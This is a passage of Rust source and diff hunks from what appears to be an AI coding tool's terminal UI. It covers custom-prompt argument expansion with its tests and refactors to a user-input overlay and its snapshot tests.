if rest.len() > "ARGUMENTS".len() && rest[1..].starts_with("ARGUMENTS") {
if !args.is_empty() {
append_joined_args_with_elements(&mut out, &mut out_elements, args);
}
i = j + 1 + "ARGUMENTS".len();
continue;
}
out.push('$');
i = j + 1;
}
out.push_str(&content[i..]);
PromptExpansion {
text: out,
text_elements: out_elements,
}
}
fn parse_tokens_with_elements(rest: &str, text_elements: &[TextElement]) -> Vec<PromptArg> {
let mut elements = text_elements.to_vec();
elements.sort_by_key(|elem| elem.byte_range.start);
// Keep element placeholders intact across shlex splitting by replacing
// each element range with a unique sentinel token first.
let (rest_for_shlex, replacements) = replace_text_elements_with_sentinels(rest, &elements);
Shlex::new(&rest_for_shlex)
.map(|token| apply_replacements_to_token(token, &replacements))
.collect()
}
#[derive(Debug, Clone)]
struct ElementReplacement {
sentinel: String,
text: String,
placeholder: Option<String>,
}
/// Replace each text element range with a unique sentinel token.
///
/// The sentinel is chosen so it will survive shlex tokenization as a single word.
fn replace_text_elements_with_sentinels(
rest: &str,
elements: &[TextElement],
) -> (String, Vec<ElementReplacement>) {
let mut out = String::with_capacity(rest.len());
let mut replacements = Vec::new();
let mut cursor = 0;
for (idx, elem) in elements.iter().enumerate() {
let start = elem.byte_range.start;
let end = elem.byte_range.end;
out.push_str(&rest[cursor..start]);
let mut sentinel = format!("__CODEX_ELEM_{idx}__");
// Ensure we never collide with user content so a sentinel can't be mistaken for text.
while rest.contains(&sentinel) {
sentinel.push('_');
}
out.push_str(&sentinel);
replacements.push(ElementReplacement {
sentinel,
text: rest[start..end].to_string(),
placeholder: elem.placeholder(rest).map(str::to_string),
});
cursor = end;
}
out.push_str(&rest[cursor..]);
(out, replacements)
}
/// Rehydrate a shlex token by swapping sentinels back to the original text
/// and rebuilding text element ranges relative to the resulting token.
fn apply_replacements_to_token(token: String, replacements: &[ElementReplacement]) -> PromptArg {
if replacements.is_empty() {
return PromptArg {
text: token,
text_elements: Vec::new(),
};
}
let mut out = String::with_capacity(token.len());
let mut out_elements = Vec::new();
let mut cursor = 0;
while cursor < token.len() {
let Some((offset, replacement)) = next_replacement(&token, cursor, replacements) else {
out.push_str(&token[cursor..]);
break;
};
let start_in_token = cursor + offset;
out.push_str(&token[cursor..start_in_token]);
let start = out.len();
out.push_str(&replacement.text);
let end = out.len();
if start < end {
out_elements.push(TextElement::new(
ByteRange { start, end },
replacement.placeholder.clone(),
));
}
cursor = start_in_token + replacement.sentinel.len();
}
PromptArg {
text: out,
text_elements: out_elements,
}
}
/// Find the earliest sentinel occurrence at or after `cursor`.
fn next_replacement<'a>(
token: &str,
cursor: usize,
replacements: &'a [ElementReplacement],
) -> Option<(usize, &'a ElementReplacement)> {
let slice = &token[cursor..];
let mut best: Option<(usize, &'a ElementReplacement)> = None;
for replacement in replacements {
if let Some(pos) = slice.find(&replacement.sentinel) {
match best {
Some((best_pos, _)) if best_pos <= pos => {}
_ => best = Some((pos, replacement)),
}
}
}
best
}
fn expand_named_placeholders_with_elements(
content: &str,
args: &HashMap<String, PromptArg>,
) -> (String, Vec<TextElement>) {
let mut out = String::with_capacity(content.len());
let mut out_elements = Vec::new();
let mut cursor = 0;
for m in PROMPT_ARG_REGEX.find_iter(content) {
let start = m.start();
let end = m.end();
if start > 0 && content.as_bytes()[start - 1] == b'$' {
out.push_str(&content[cursor..end]);
cursor = end;
continue;
}
out.push_str(&content[cursor..start]);
cursor = end;
let key = &content[start + 1..end];
if let Some(arg) = args.get(key) {
append_arg_with_elements(&mut out, &mut out_elements, arg);
} else {
out.push_str(&content[start..end]);
}
}
out.push_str(&content[cursor..]);
(out, out_elements)
}
fn append_arg_with_elements(
out: &mut String,
out_elements: &mut Vec<TextElement>,
arg: &PromptArg,
) {
let start = out.len();
out.push_str(&arg.text);
if arg.text_elements.is_empty() {
return;
}
out_elements.extend(arg.text_elements.iter().map(|elem| {
elem.map_range(|range| ByteRange {
start: start + range.start,
end: start + range.end,
})
}));
}
fn append_joined_args_with_elements(
out: &mut String,
out_elements: &mut Vec<TextElement>,
args: &[PromptArg],
) {
// `$ARGUMENTS` joins args with single spaces while preserving element ranges.
for (idx, arg) in args.iter().enumerate() {
if idx > 0 {
out.push(' ');
}
append_arg_with_elements(out, out_elements, arg);
}
}
/// Constructs a command text for a custom prompt with arguments.
/// Returns the text and the cursor position (inside the first double quote).
pub fn prompt_command_with_arg_placeholders(name: &str, args: &[String]) -> (String, usize) {
let mut text = format!("/{PROMPTS_CMD_PREFIX}:{name}");
let mut cursor: usize = text.len();
for (i, arg) in args.iter().enumerate() {
text.push_str(format!(" {arg}=\"\"").as_str());
if i == 0 {
cursor = text.len() - 1; // inside first ""
}
}
(text, cursor)
}
#[cfg(test)]
mod tests {
use super::*;
use pretty_assertions::assert_eq;
#[test]
fn expand_arguments_basic() {
let prompts = vec![CustomPrompt {
name: "my-prompt".to_string(),
path: "/tmp/my-prompt.md".to_string().into(),
content: "Review $USER changes on $BRANCH".to_string(),
description: None,
argument_hint: None,
}];
let out = expand_custom_prompt("/prompts:my-prompt USER=Alice BRANCH=main", &[], &prompts)
.unwrap();
assert_eq!(
out,
Some(PromptExpansion {
text: "Review Alice changes on main".to_string(),
text_elements: Vec::new(),
})
);
}
#[test]
fn quoted_values_ok() {
let prompts = vec![CustomPrompt {
name: "my-prompt".to_string(),
path: "/tmp/my-prompt.md".to_string().into(),
content: "Pair $USER with $BRANCH".to_string(),
description: None,
argument_hint: None,
}];
let out = expand_custom_prompt(
"/prompts:my-prompt USER=\"Alice Smith\" BRANCH=dev-main",
&[],
&prompts,
)
.unwrap();
assert_eq!(
out,
Some(PromptExpansion {
text: "Pair Alice Smith with dev-main".to_string(),
text_elements: Vec::new(),
})
);
}
#[test]
fn invalid_arg_token_reports_error() {
let prompts = vec![CustomPrompt {
name: "my-prompt".to_string(),
path: "/tmp/my-prompt.md".to_string().into(),
content: "Review $USER changes".to_string(),
description: None,
argument_hint: None,
}];
let err = expand_custom_prompt("/prompts:my-prompt USER=Alice stray", &[], &prompts)
.unwrap_err()
.user_message();
assert!(err.contains("expected key=value"));
}
#[test]
fn missing_required_args_reports_error() {
let prompts = vec![CustomPrompt {
name: "my-prompt".to_string(),
path: "/tmp/my-prompt.md".to_string().into(),
content: "Review $USER changes on $BRANCH".to_string(),
description: None,
argument_hint: None,
}];
let err = expand_custom_prompt("/prompts:my-prompt USER=Alice", &[], &prompts)
.unwrap_err()
.user_message();
assert!(err.to_lowercase().contains("missing required args"));
assert!(err.contains("BRANCH"));
}
#[test]
fn escaped_placeholder_is_ignored() {
assert_eq!(
prompt_argument_names("literal $$USER"),
Vec::<String>::new()
);
assert_eq!(
prompt_argument_names("literal $$USER and $REAL"),
vec!["REAL".to_string()]
);
}
#[test]
fn escaped_placeholder_remains_literal() {
let prompts = vec![CustomPrompt {
name: "my-prompt".to_string(),
path: "/tmp/my-prompt.md".to_string().into(),
content: "literal $$USER".to_string(),
description: None,
argument_hint: None,
}];
let out = expand_custom_prompt("/prompts:my-prompt", &[], &prompts).unwrap();
assert_eq!(
out,
Some(PromptExpansion {
text: "literal $$USER".to_string(),
text_elements: Vec::new(),
})
);
}
#[test]
fn positional_args_treat_placeholder_with_spaces_as_single_token() {
let placeholder = "[Image #1]";
let rest = format!("alpha {placeholder} beta");
let start = rest.find(placeholder).expect("placeholder");
let end = start + placeholder.len();
let text_elements = vec![TextElement::new(
ByteRange { start, end },
Some(placeholder.to_string()),
)];
let args = parse_positional_args(&rest, &text_elements);
assert_eq!(
args,
vec![
PromptArg {
text: "alpha".to_string(),
text_elements: Vec::new(),
},
PromptArg {
text: placeholder.to_string(),
text_elements: vec![TextElement::new(
ByteRange {
start: 0,
end: placeholder.len(),
},
Some(placeholder.to_string()),
)],
},
PromptArg {
text: "beta".to_string(),
text_elements: Vec::new(),
}
]
);
}
#[test]
fn extract_positional_args_shifts_element_offsets_into_args_str() {
let placeholder = "[Image #1]";
let line = format!(" /{PROMPTS_CMD_PREFIX}:my-prompt alpha {placeholder} beta ");
let start = line.find(placeholder).expect("placeholder");
let end = start + placeholder.len();
let text_elements = vec![TextElement::new(
ByteRange { start, end },
Some(placeholder.to_string()),
)];
let args = extract_positional_args_for_prompt_line(&line, "my-prompt", &text_elements);
assert_eq!(
args,
vec![
PromptArg {
text: "alpha".to_string(),
text_elements: Vec::new(),
},
PromptArg {
text: placeholder.to_string(),
text_elements: vec![TextElement::new(
ByteRange {
start: 0,
end: placeholder.len(),
},
Some(placeholder.to_string()),
)],
},
PromptArg {
text: "beta".to_string(),
text_elements: Vec::new(),
}
]
);
}
#[test]
fn key_value_args_treat_placeholder_with_spaces_as_single_token() {
let placeholder = "[Image #1]";
let rest = format!("IMG={placeholder} NOTE=hello");
let start = rest.find(placeholder).expect("placeholder");
let end = start + placeholder.len();
let text_elements = vec![TextElement::new(
ByteRange { start, end },
Some(placeholder.to_string()),
)];
let args = parse_prompt_inputs(&rest, &text_elements).expect("inputs");
assert_eq!(
args.get("IMG"),
Some(&PromptArg {
text: placeholder.to_string(),
text_elements: vec![TextElement::new(
ByteRange {
start: 0,
end: placeholder.len(),
},
Some(placeholder.to_string()),
)],
})
);
assert_eq!(
args.get("NOTE"),
Some(&PromptArg {
text: "hello".to_string(),
text_elements: Vec::new(),
})
);
}
#[test]
fn positional_args_allow_placeholder_inside_quotes() {
let placeholder = "[Image #1]";
let rest = format!("alpha \"see {placeholder} here\" beta");
let start = rest.find(placeholder).expect("placeholder");
let end = start + placeholder.len();
let text_elements = vec![TextElement::new(
ByteRange { start, end },
Some(placeholder.to_string()),
)];
let args = parse_positional_args(&rest, &text_elements);
assert_eq!(
args,
vec![
PromptArg {
text: "alpha".to_string(),
text_elements: Vec::new(),
},
PromptArg {
text: format!("see {placeholder} here"),
text_elements: vec![TextElement::new(
ByteRange {
start: "see ".len(),
end: "see ".len() + placeholder.len(),
},
Some(placeholder.to_string()),
)],
},
PromptArg {
text: "beta".to_string(),
text_elements: Vec::new(),
}
]
);
}
#[test]
fn key_value_args_allow_placeholder_inside_quotes() {
let placeholder = "[Image #1]";
let rest = format!("IMG=\"see {placeholder} here\" NOTE=ok");
let start = rest.find(placeholder).expect("placeholder");
let end = start + placeholder.len();
let text_elements = vec![TextElement::new(
ByteRange { start, end },
Some(placeholder.to_string()),
)];
let args = parse_prompt_inputs(&rest, &text_elements).expect("inputs");
assert_eq!(
args.get("IMG"),
Some(&PromptArg {
text: format!("see {placeholder} here"),
text_elements: vec![TextElement::new(
ByteRange {
start: "see ".len(),
end: "see ".len() + placeholder.len(),
},
Some(placeholder.to_string()),
)],
})
);
assert_eq!(
args.get("NOTE"),
Some(&PromptArg {
text: "ok".to_string(),
text_elements: Vec::new(),
})
);
}
}
@@ -30,6 +30,7 @@ use crate::bottom_pane::selection_popup_common::measure_rows_height;
use crate::history_cell;
use crate::render::renderable::Renderable;
#[cfg(test)]
use codex_protocol::protocol::Op;
use codex_protocol::request_user_input::RequestUserInputAnswer;
use codex_protocol::request_user_input::RequestUserInputEvent;
@@ -745,13 +746,12 @@ impl RequestUserInputOverlay {
},
);
}
self.app_event_tx
.send(AppEvent::CodexOp(Op::UserInputAnswer {
id: self.request.turn_id.clone(),
response: RequestUserInputResponse {
answers: answers.clone(),
},
}));
self.app_event_tx.user_input_answer(
self.request.turn_id.clone(),
RequestUserInputResponse {
answers: answers.clone(),
},
);
self.app_event_tx.send(AppEvent::InsertHistoryCell(Box::new(
history_cell::RequestUserInputResultCell {
questions: self.request.questions.clone(),
@@ -1007,7 +1007,7 @@ impl BottomPaneView for RequestUserInputOverlay {
}
// TODO: Emit interrupted request_user_input results (including committed answers)
// once core supports persisting them reliably without follow-up turn issues.
self.app_event_tx.send(AppEvent::CodexOp(Op::Interrupt));
self.app_event_tx.interrupt();
self.done = true;
return;
}
@@ -1223,7 +1223,7 @@ impl BottomPaneView for RequestUserInputOverlay {
self.close_unanswered_confirmation();
// TODO: Emit interrupted request_user_input results (including committed answers)
// once core supports persisting them reliably without follow-up turn issues.
self.app_event_tx.send(AppEvent::CodexOp(Op::Interrupt));
self.app_event_tx.interrupt();
self.done = true;
return CancellationEvent::Handled;
}
@@ -1234,7 +1234,7 @@ impl BottomPaneView for RequestUserInputOverlay {
// TODO: Emit interrupted request_user_input results (including committed answers)
// once core supports persisting them reliably without follow-up turn issues.
self.app_event_tx.send(AppEvent::CodexOp(Op::Interrupt));
self.app_event_tx.interrupt();
self.done = true;
CancellationEvent::Handled
}
@@ -1485,9 +1485,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "First")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.try_consume_user_input_request(request_event(
"turn-2",
@@ -1511,9 +1511,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "First")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.try_consume_user_input_request(RequestUserInputEvent {
call_id: "call-2".to_string(),
@@ -1538,9 +1538,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Pick one")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.submit_answers();
@@ -1560,9 +1560,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Pick one")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.handle_key_event(KeyEvent::from(KeyCode::Enter));
@@ -1587,9 +1587,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.handle_key_event(KeyEvent::from(KeyCode::Enter));
@@ -1629,9 +1629,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Pick one")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.handle_key_event(KeyEvent::from(KeyCode::Char('2')));
@@ -1650,9 +1650,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Pick one")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let answer = overlay.current_answer().expect("answer missing");
assert_eq!(answer.options_state.selected_idx, Some(0));
@@ -1678,9 +1678,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
assert_eq!(overlay.current_index(), 0);
@@ -1704,9 +1704,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
assert_eq!(overlay.current_index(), 0);
@@ -1728,9 +1728,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
assert_eq!(overlay.current_index(), 0);
@@ -1752,9 +1752,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let tips = overlay.footer_tips();
let tip_texts = tips.iter().map(|tip| tip.text.as_str()).collect::<Vec<_>>();
@@ -1789,11 +1789,11 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.move_question(true);
overlay.move_question(/*next*/ true);
let tips = overlay.footer_tips();
let tip_texts = tips.iter().map(|tip| tip.text.as_str()).collect::<Vec<_>>();
@@ -1813,9 +1813,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Pick one")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let answer = overlay.current_answer_mut().expect("answer missing");
answer.options_state.selected_idx = Some(1);
@@ -1838,13 +1838,13 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
assert!(matches!(overlay.focus, Focus::Notes));
overlay.move_question(true);
overlay.move_question(/*next*/ true);
assert!(matches!(overlay.focus, Focus::Options));
assert_eq!(overlay.notes_ui_visible(), false);
@@ -1862,9 +1862,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay
@@ -1872,7 +1872,7 @@ mod tests {
.set_text_content("freeform notes".to_string(), Vec::new(), Vec::new());
overlay.composer.move_cursor_to_end();
overlay.move_question(true);
overlay.move_question(/*next*/ true);
assert!(matches!(overlay.focus, Focus::Options));
assert_eq!(overlay.notes_ui_visible(), false);
@@ -1902,9 +1902,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_without_options("q1", "Notes")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.handle_key_event(KeyEvent::from(KeyCode::Esc));
@@ -1919,9 +1919,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Pick one")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.handle_key_event(KeyEvent::from(KeyCode::Esc));
@@ -1936,9 +1936,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Pick one")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let answer = overlay.current_answer_mut().expect("answer missing");
answer.options_state.selected_idx = Some(0);
@@ -1964,9 +1964,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Pick one")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let answer = overlay.current_answer_mut().expect("answer missing");
answer.options_state.selected_idx = Some(0);
@@ -1999,9 +1999,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.handle_key_event(KeyEvent::from(KeyCode::Enter));
@@ -2021,9 +2021,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Pick one")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let answer = overlay.current_answer_mut().expect("answer missing");
answer.options_state.selected_idx = Some(1);
@@ -2042,9 +2042,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Pick one")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let answer = overlay.current_answer_mut().expect("answer missing");
answer.options_state.selected_idx = Some(0);
@@ -2068,9 +2068,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Pick one")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let answer = overlay.current_answer_mut().expect("answer missing");
answer.options_state.selected_idx = Some(0);
@@ -2097,9 +2097,9 @@ mod tests {
let overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Pick one")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
assert_eq!(overlay.unanswered_count(), 1);
@@ -2111,9 +2111,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Pick one")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let answer = overlay.current_answer_mut().expect("answer missing");
answer.options_state.selected_idx = Some(0);
@@ -2133,9 +2133,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay
@@ -2162,9 +2162,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.handle_key_event(KeyEvent::from(KeyCode::Enter));
@@ -2179,9 +2179,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_without_options("q1", "Notes")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.submit_answers();
@@ -2200,9 +2200,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_without_options("q1", "Notes")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay
.composer
@@ -2231,9 +2231,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay
@@ -2244,12 +2244,12 @@ mod tests {
assert_eq!(overlay.answers[0].answer_committed, true);
let _ = rx.try_recv();
overlay.move_question(false);
overlay.move_question(/*next*/ false);
overlay
.composer
.set_text_content("Edited".to_string(), Vec::new(), Vec::new());
overlay.composer.move_cursor_to_end();
overlay.move_question(true);
overlay.move_question(/*next*/ true);
assert_eq!(overlay.answers[0].answer_committed, false);
overlay.submit_answers();
@@ -2268,16 +2268,16 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Pick one")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
{
let answer = overlay.current_answer_mut().expect("answer missing");
answer.options_state.selected_idx = Some(1);
}
overlay.select_current_option(false);
overlay.select_current_option(/*committed*/ false);
overlay
.composer
.set_text_content("Notes for option 2".to_string(), Vec::new(), Vec::new());
@@ -2316,9 +2316,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.handle_key_event(KeyEvent::from(KeyCode::Down));
@@ -2345,9 +2345,9 @@ mod tests {
vec![question_with_options_and_other("q1", "Pick one")],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let rows = overlay.option_rows();
@@ -2401,14 +2401,14 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let large = "x".repeat(1_500);
overlay.composer.handle_paste(large.clone());
overlay.move_question(true);
overlay.move_question(/*next*/ true);
let draft = &overlay.answers[0].draft;
assert_eq!(draft.pending_pastes.len(), 1);
@@ -2429,9 +2429,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let large = "x".repeat(1_200);
@@ -2454,9 +2454,9 @@ mod tests {
let overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Area")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let area = Rect::new(0, 0, 120, 16);
insta::assert_snapshot!(
@@ -2471,9 +2471,9 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Area")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
{
let answer = overlay.current_answer_mut().expect("answer missing");
@@ -2494,9 +2494,9 @@ mod tests {
let overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Area")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let area = Rect::new(0, 0, 120, 10);
insta::assert_snapshot!(
@@ -2514,9 +2514,9 @@ mod tests {
vec![question_with_wrapped_options("q1", "Next Step")],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let width = 48u16;
@@ -2542,9 +2542,9 @@ mod tests {
vec![question_with_wrapped_options("q1", "Next Step")],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let width = 110u16;
@@ -2574,9 +2574,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let answer = overlay.current_answer_mut().expect("answer missing");
answer.options_state.selected_idx = Some(0);
@@ -2608,9 +2608,9 @@ mod tests {
vec![question_with_wrapped_options("q1", "Next Step")],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
{
@@ -2641,9 +2641,9 @@ mod tests {
vec![question_with_very_long_option_text("q1", "Status")],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let area = Rect::new(0, 0, 120, 18);
insta::assert_snapshot!(
@@ -2661,9 +2661,9 @@ mod tests {
vec![question_with_long_scroll_options("q1", "Scroll")],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let answer = overlay.current_answer_mut().expect("answer missing");
answer.options_state.selected_idx = Some(2);
@@ -2687,9 +2687,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let answer = overlay.current_answer_mut().expect("answer missing");
answer.options_state.selected_idx = Some(1);
@@ -2740,9 +2740,9 @@ mod tests {
}],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
{
let answer = overlay.current_answer_mut().expect("answer missing");
@@ -2792,9 +2792,9 @@ mod tests {
}],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
{
let answer = overlay.current_answer_mut().expect("answer missing");
@@ -2813,9 +2813,9 @@ mod tests {
let overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_without_options("q1", "Goal")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let area = Rect::new(0, 0, 120, 10);
insta::assert_snapshot!(
@@ -2836,9 +2836,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
let area = Rect::new(0, 0, 120, 15);
insta::assert_snapshot!(
@@ -2859,11 +2859,11 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.move_question(true);
overlay.move_question(/*next*/ true);
let area = Rect::new(0, 0, 120, 12);
insta::assert_snapshot!(
"request_user_input_multi_question_last",
@@ -2883,9 +2883,9 @@ mod tests {
],
),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.open_unanswered_confirmation();
@@ -2903,11 +2903,11 @@ mod tests {
let mut overlay = RequestUserInputOverlay::new(
request_event("turn-1", vec![question_with_options("q1", "Pick one")]),
tx,
true,
false,
false,
/*has_input_focus*/ true,
/*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.select_current_option(false);
overlay.select_current_option(/*committed*/ false);
overlay.focus = Focus::Notes;
overlay
.composer
@@ -1,6 +1,5 @@
---
source: tui/src/bottom_pane/request_user_input/mod.rs
assertion_line: 2600
expression: "render_snapshot(&overlay, area)"
---
@@ -1,6 +1,5 @@
---
source: tui/src/bottom_pane/request_user_input/mod.rs
assertion_line: 2744
expression: "render_snapshot(&overlay, area)"
---
@@ -1,6 +1,5 @@
---
source: tui/src/bottom_pane/request_user_input/mod.rs
assertion_line: 2770
expression: "render_snapshot(&overlay, area)"
---
@@ -1,6 +1,5 @@
---
source: tui/src/bottom_pane/request_user_input/mod.rs
assertion_line: 2321
expression: "render_snapshot(&overlay, area)"
---
@@ -863,7 +863,7 @@ mod tests {
..Default::default()
};
let two_col = wrap_two_column_row(&row, 0, 1);
let two_col = wrap_two_column_row(&row, /*desc_col*/ 0, /*width*/ 1);
assert_eq!(two_col.len(), 0);
}
}
+22 -3
View File
@@ -180,7 +180,6 @@ impl SkillPopup {
})
});
out.truncate(MAX_POPUP_ROWS);
out
}
}
